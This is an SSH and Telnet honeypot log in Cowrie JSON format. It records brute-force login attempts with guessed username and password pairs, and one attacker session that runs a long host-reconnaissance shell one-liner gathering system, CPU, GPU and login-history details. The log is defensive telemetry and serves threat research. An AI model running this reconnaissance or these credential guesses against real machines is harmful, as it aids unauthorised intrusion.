{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:51.072421Z","src_ip":"160.187.174.22","session":"76e60d03b573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:51.306522Z","src_ip":"160.187.174.22","session":"76e60d03b573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic123","message":"login attempt [elastic/elastic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:53.109663Z","src_ip":"160.187.174.22","session":"76e60d03b573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":42660,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eb8acfdc913","protocol":"ssh","message":"New connection: 132.148.155.138:42660 (159.203.135.109:22) [session: 9eb8acfdc913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:53.553414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:53.557337Z","src_ip":"132.148.155.138","session":"9eb8acfdc913","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:53.622262Z","src_ip":"132.148.155.138","session":"9eb8acfdc913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matrixportapp","password":"matrixport123","message":"login attempt [matrixportapp/matrixport123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:53.817700Z","src_ip":"132.148.155.138","session":"9eb8acfdc913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":52404,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3b58cc09917","protocol":"ssh","message":"New connection: 91.92.40.4:52404 (10.17.0.5:22) [session: f3b58cc09917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.249237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.252819Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.333027Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.352110Z","src_ip":"160.187.174.22","session":"76e60d03b573","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"P@ssw0rd","message":"login attempt [oracle/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.665049Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.907072Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.910008Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.913099Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.915679Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.918552Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.921760Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.924056Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.926704Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.956062Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.960470Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.963149Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:54.973409Z","src_ip":"132.148.155.138","session":"9eb8acfdc913","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:55.052045Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:55.135184Z","src_ip":"91.92.40.4","session":"f3b58cc09917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55144,"dst_ip":"159.203.135.109","dst_port":23,"session":"b03cbb1f0497","protocol":"telnet","message":"New connection: 170.64.224.25:55144 (159.203.135.109:23) [session: b03cbb1f0497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:55.161243Z"}
{"eventid":"cowrie.session.closed","duration":31.324722290039062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:11.429964Z","src_ip":"170.64.224.25","session":"5093ceef136f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":56144,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3c509810f12","protocol":"ssh","message":"New connection: 160.187.174.22:56144 (159.203.135.109:22) [session: c3c509810f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:17.807994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:17.812046Z","src_ip":"160.187.174.22","session":"c3c509810f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:18.052932Z","src_ip":"160.187.174.22","session":"c3c509810f12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:18.776851Z","src_ip":"160.187.174.22","session":"c3c509810f12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55172,"dst_ip":"159.203.135.109","dst_port":23,"session":"3295a9d04962","protocol":"telnet","message":"New connection: 170.64.224.25:55172 (159.203.135.109:23) [session: 3295a9d04962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:18.897454Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55180,"dst_ip":"159.203.135.109","dst_port":23,"session":"b445a9edce42","protocol":"telnet","message":"New connection: 170.64.224.25:55180 (159.203.135.109:23) [session: b445a9edce42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:19.984089Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:20.018866Z","src_ip":"160.187.174.22","session":"c3c509810f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":74.98777055740356,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:21.978306Z","src_ip":"107.6.151.170","session":"3739d960ebea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":53484,"dst_ip":"159.203.135.109","dst_port":22,"session":"de1f84e4add0","protocol":"ssh","message":"New connection: 43.160.200.19:53484 (159.203.135.109:22) [session: de1f84e4add0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:23.565588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:23.570137Z","src_ip":"43.160.200.19","session":"de1f84e4add0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:23.814055Z","src_ip":"43.160.200.19","session":"de1f84e4add0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123aA@","message":"login attempt [root/123123aA@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:24.825827Z","src_ip":"43.160.200.19","session":"de1f84e4add0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:26.073922Z","src_ip":"43.160.200.19","session":"de1f84e4add0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":41740,"dst_ip":"10.17.0.5","dst_port":22,"session":"514420e26985","protocol":"ssh","message":"New connection: 14.177.234.24:41740 (10.17.0.5:22) [session: 514420e26985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:27.912804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:27.919592Z","src_ip":"14.177.234.24","session":"514420e26985","protocol":"ssh"}
